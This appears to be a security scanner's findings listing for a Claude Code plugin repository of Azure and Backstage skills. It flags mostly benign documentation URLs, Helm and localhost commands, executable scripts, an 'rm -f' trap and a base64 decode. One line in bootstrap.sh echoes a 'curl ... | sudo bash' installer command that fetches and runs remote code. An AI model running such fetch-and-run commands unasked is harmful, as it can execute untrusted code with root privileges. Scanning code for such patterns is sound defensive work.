    Allow tool: bash with command "rm src/deprecated/old-auth.ts"?

harness/claude-code/plugins/noob-mode/skills/noob-mode/references/glossary.md

  • Network accessline 252
    **Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 254
    **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 280
    **Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc
  • Network accessline 282
    **Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."

harness/claude-code/plugins/open-horizons-platform/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Open Horizons Contributors",     "url": "https://github.com/Ohorizons"
  • Network accessline 6
    "name": "Open Horizons Contributors",     "url": "https://github.com/Ohorizons"   },
  • Network accessline 7
    "url": "https://github.com/Ohorizons"
  • Network accessline 8
    },   "homepage": "https://github.com/Ohorizons/open-horizons-platform",   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 9
    "homepage": "https://github.com/Ohorizons/open-horizons-platform",
  • Network accessline 10
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/SKILL.md

  • Network accessline 65
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 66
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 67
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 68
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 69
    - [GitHub Models](https://docs.github.com/github-models)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-api-center/SKILL.md

  • Network accessline 123
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 124
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 125
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 126
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-apim-ai-gateway/SKILL.md

  • Network accessline 130
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 131
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 132
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 133
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cost-optimize/SKILL.md

  • Network accessline 100
    - [Azure Cost Management documentation](https://learn.microsoft.com/azure/cost-management-billing/)
  • Network accessline 101
    - [Azure Advisor cost recommendations](https://learn.microsoft.com/azure/advisor/advisor-cost-recommendations)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md

  • Network accessline 5
    Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md

  • Network accessline 133
    iconProvider="azure"         iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 134
    iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"         iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 135
    iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 136
    iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md

  • Network accessline 20
    | Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu
  • Network accessline 21
    | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra
  • Network accessline 22
    | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or 
  • Network accessline 23
    | Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co
  • Network accessline 24
    | Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact
  • Network accessline 25
    | Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen
  • Network accessline 26
    | Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac
  • Network accessline 27
    | Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb
  • Network accessline 28
    | General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t
  • Network accessline 29
    | GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s
  • Network accessline 30
    | GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us
  • Network accessline 31
    | GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/README.md

  • Network accessline 61
    python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg    "Azure Key Vault" 320 180    --provider azure    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/
  • Network accessline 62
    "Azure Key Vault" 320 180 \   --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 63
    --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \   --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 64
    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 65
    --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/add-icon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 91
    return base64.b64decode(

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-entra-agent-user/SKILL.md

  • Network accessline 103
    - [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-import-infrastructure-as-code/SKILL.md

  • Network accessline 109
    - [Azure Verified Modules Terraform index](https://azure.github.io/Azure-Verified-Modules/indexes/terraform/)
  • Network accessline 110
    - [Terraform import language](https://developer.hashicorp.com/terraform/language/import)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-observability-stack/SKILL.md

  • Network accessline 31
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 32
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 79
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 80
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 85
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 98
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 99
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 101
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 102
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 116
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 124
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 125
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-pricing/SKILL.md

  • Network accessline 35
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 38
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 107
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 108
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 109
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 110
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 196
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 197
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 198
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-well-architected-review/SKILL.md

  • Network accessline 95
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-analytics-instrumentation/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
